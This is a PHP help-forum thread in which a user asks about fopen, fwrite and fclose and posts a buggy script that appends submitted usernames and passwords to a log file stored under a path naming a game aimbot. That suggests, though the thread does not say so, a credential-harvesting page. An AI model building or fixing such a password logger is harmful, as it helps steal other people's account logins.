fopen, fwrite, fclose?
Moderator: General Moderators
fopen, fwrite, fclose?
is fopen, fwrite, or/and fclose real statements? i'm don't really know php, but i have this .php file that's not working rite, so i was wondering if those were real.
lol yes they are real.
http://www.php.net/manual/en/function.fopen.php
post your code that isnt working.
http://www.php.net/manual/en/function.fopen.php
post your code that isnt working.
can u tell me if this is correct?
can u tell me if this is correct:
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = "C:\Downloads\Temp Folder\Temp\Gunbound Aimbot Sourcecode\Server Source Code\gblog.html";
$fileptr = fopen($logfile, "a");
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
$message = nl2br($passw["message"]);
?>
<?php
if (!$uname){
$uname = "ANON";
}
if (!$passw){
$passw = "NONE";
}
$curdate = date ("l dS of F Y h:i:s A");
$logfile = "C:\Downloads\Temp Folder\Temp\Gunbound Aimbot Sourcecode\Server Source Code\gblog.html";
$fileptr = fopen($logfile, "a");
fwrite($fileptr,"username:".$uname." password:".$passw." time:".$curdate."\n");
fclose($fileptr);
$message = nl2br($passw["message"]);
?>
- John Cartwright
- Site Admin
- Posts: 11470
- Joined: Tue Dec 23, 2003 2:10 am
- Location: Toronto
- Contact:
-
d3ad1ysp0rk
- Forum Donator
- Posts: 1661
- Joined: Mon Oct 20, 2003 8:31 pm
- Location: Maine, USA